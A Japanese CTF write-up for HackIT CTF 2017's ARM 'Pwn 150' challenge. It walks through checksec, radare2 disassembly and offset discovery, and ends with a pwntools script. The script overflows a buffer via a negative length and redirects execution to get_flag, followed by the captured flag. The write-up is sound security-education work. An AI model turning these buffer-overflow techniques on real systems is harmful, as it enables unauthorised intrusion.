HackIT CTF 2017 [Pwn 150] Today’s moon phase
観察
まずは file
でどんなバイナリか確認します。
»»»» file pwn150 pwn150: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=5a8f4e74e4fd679377d86ea567c6da3701b1bd4a, not stripped
ARMアーキテクチャのバイナリのようです。これを実行する場合はubuntuでは qemu-user-static
をインストールすることで実行できます。このパッケージは様々なアーキテクチャに対応しているので他のアーキテクチャのバイナリもこれひとつで実行できるはずです。
次にバイナリのセキュリティ機構について確認します。
»»»» gdb -q pwn150 0|00:31:26 Reading symbols from pwn150...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
NXBitがついているようです。この時点で dynamically linked
の場合はシェルコードを流す解法でないことが分かります。
今回のバイナリの場合、 statically linked
のため、もしかしたら _dl_make_stack_executable()
や mmap()
を使うことで、シェルコードが利用できる可能性もあります。とりあえずこのことは頭の片隅に置いて、次にディスアセンブリしてみましょう。(もちろん、 dynamically linked
でも上記の関数は使えますが、それらを使わずに system()
や one gadget RCE
を使うほうが楽なことが多いです。)
ディスアセンブリには radare2
を使います。 r2 -w -a arm pwn150
のように -a
オプションでアーキテクチャを指定してディスアセンブリ出来ます。 -w
はバイナリに書き込み可能にするためのオプションです。 -w
オプションを使うと、開いている間はバイナリの実行ができなくなるので、コピーしたものを解析するのがおすすめです。
statically linked
のため関数が多かったためいきなり、 sym.main
を見ることにしました。 VV
コマンドでグラフ表示してみていくと、 sym.get_flag
という関数があるようです。この問題のExploitではこの関数の呼び出しを目標にして、脆弱性を探します。
続いて、動的解析に入ります。結論から言うと、 What is your name?
の直後の入力には脆弱性がありませんが、 そのあと選択肢を答えていった後の Please, enter length of your message:
の直後の入力で Buffer Over Flow
を起こせるようです。
BoFを利用するため、オフセットを調べたいところですが残念ながらこの時はデバッガーの使い方を知りませんでした。そのため一文字ずつ送る文字を増やしていき、SEGVの起こる位置を調べてオフセットを確認しました。
(その後に分かったことですが、 qemu-arm-static -g {port} {exec_file}
でgdbserverを立てることが可能です。また qemu-arm-static -strace {exec_file}
でstraceと同様の効果が得られます。)
オフセットを調べることが出来たので後はreturn先のアドレスに get_flag()
関数を仕込めばExploitの完成です。
Exploit
とくにBoFの起こし方は x86/x86_64
アーキテクチャなどと変わらないため、オフセット分を埋めて get_flag()
のアドレスを仕込みます。また入力には長さを求められますが、そこは -1
などにしておけば問題ないです。
最終的なExploitコードは次のようになりました。
from pwn import * HOST = "165.227.98.55" PORT = 2222 #conn = process(['strace', 'qemu-arm-static', './pwn150']) conn = remote(HOST, PORT) conn.sendlineafter('What is your name?', 'A') conn.sendlineafter('Enter Y or N:', 'Y') conn.sendlineafter('Please, enter length of your message:', '-1') payload = 'A' * 532 payload += p32(0x104d8) log.success("get_flag()") conn.sendline(payload) conn.stream() conn.close()
Flag
h4ck1t{Astronomy_is_fun}
この問題はARMでしたが、実行環境が整えば x86/x86_64
と何ら変わらないやり方でいける問題でした。